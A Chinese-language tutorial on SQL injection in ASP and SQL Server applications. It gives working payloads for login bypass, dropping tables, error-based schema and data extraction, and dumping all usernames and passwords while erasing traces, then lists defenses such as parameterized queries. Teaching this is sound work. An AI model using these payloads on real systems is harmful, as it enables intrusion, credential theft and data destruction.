首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Server 應用程式進階 SQL 注入攻擊與防禦 (上):原理、手法與錯誤訊息利用

     編輯:關於SqlServer

前言:SQL 注入的本質

SQL 注入發生於應用程式未正確過濾使用者輸入,直接拼接進 SQL 陳述式,導致惡意輸入改變查詢語意。本文以 ASP + SQL Server 為例,示範進階攻擊手法與防禦核心觀念。

經典登入頁面漏洞示範

-- 易受攻擊程式碼 (ASP JScript)
var sql = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";
rso.open(sql, cn);

攻擊載荷與效果

輸入欄位惡意輸入產生 SQL 片段結果
Username'; DROP TABLE users--username = ''; DROP TABLE users--'刪除 users 表
Usernameadmin'--username = 'admin'--'繞過密碼以 admin 登入
Username' OR 1=1--username = '' OR 1=1--'以第一筆使用者登入
Username' UNION SELECT 1,'hacker','pwd',1--注入虛構使用者以虛構帳號登入

關鍵字元:' 閉合字串、; 結束陳述式、-- 註解剩餘 SQL。

進階:利用錯誤訊息推導資料庫結構 (Error-based Injection)

當應用程式回顯詳細資料庫錯誤 (預設 ASP 行為) 時,攻擊者可透過精心構造的查詢,從錯誤訊息中「讀取」資料。

步驟 1:確認資料表與欄位名

-- 輸入:' HAVING 1=1--
-- 錯誤:Column 'users.id' is invalid in the select list...
-- 推得:表 users、欄位 id

-- 輸入:' GROUP BY users.id HAVING 1=1--
-- 錯誤:Column 'users.username' is invalid...
-- 推得:欄位 username

-- 依此類推 GROUP BY users.id, users.username, users.password, users.privs
-- 不再報錯 → 確認完整欄位清單

步驟 2:判斷欄位資料型別

-- 輸入:' UNION SELECT SUM(username) FROM users--
-- 錯誤:The sum or average aggregate operation cannot take a varchar data type...
-- 判斷:username 為 varchar

-- 輸入:' UNION SELECT SUM(id) FROM users--
-- 錯誤:All queries in a SQL statement containing a UNION operator must have an equal number of expressions...
-- 判斷:id 為數值型 (int)

步驟 3:透過型別轉換錯誤「讀取」資料

-- 讀取 @@version
' UNION SELECT @@version,1,1,1--
-- 錯誤:Syntax error converting the nvarchar value 'Microsoft SQL Server 2000...' to a column of data type int.
-- 直接在錯誤訊息中獲得版本資訊

-- 讀取使用者帳號
' UNION SELECT MIN(username),1,1,1 FROM users WHERE username > 'a'--
-- 錯誤:...converting the varchar value 'admin' to a column of data type int.
-- 獲得第一個帳號 'admin'

-- 遞迴取得所有帳號
' UNION SELECT MIN(username),1,1,1 FROM users WHERE username > 'admin'--
-- 獲得 'chris'、'fred'...

步驟 4:一次性取得所有帳密 (進階技巧)

-- 建立暫存表收集帳密字串
'; BEGIN DECLARE @ret VARCHAR(8000); SET @ret=':'; 
SELECT @ret = @ret + ' ' + username + '/' + password FROM users WHERE username > @ret; 
SELECT @ret AS ret INTO foo; END--

-- 讀取暫存表
' UNION SELECT ret,1,1,1 FROM foo--

-- 清除痕跡
'; DROP TABLE foo--

防禦核心原則

  1. 參數化查詢 / 預存程序:
    cmd.CommandText = "SELECT * FROM users WHERE username = @u AND password = @p";
    cmd.Parameters.Add("@u", username); cmd.Parameters.Add("@p", password);

    徹底分離程式碼與資料,根治注入。
  2. 最小權限原則:應用程式連線帳號僅授予必要資料表的 SELECT/INSERT/UPDATE/DELETE,禁止 DROP、CREATE、xp_cmdshell 等高危權限。
  3. 錯誤訊息不外洩:生產環境關閉詳細錯誤回顯,統一導向友善錯誤頁,記錄詳細錯誤至伺服器端日誌供開發除錯。
  4. 輸入驗證與白名單:嚴格限制輸入長度、字元集、格式 (如帳號僅允許英數字)。
  5. WAF / 參數化 ORM:部署 Web Application Firewall、使用 Entity Framework / Dapper 等成熟 ORM 框架。

結語

SQL 注入並非資料庫缺陷,而是應用層拼接字串的必然結果。參數化查詢是唯一根本解法;錯誤訊息隱藏、最小權限、WAF 為纵深防禦層。開發者必須建立「所有外部輸入皆不可信」的防禦思維。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved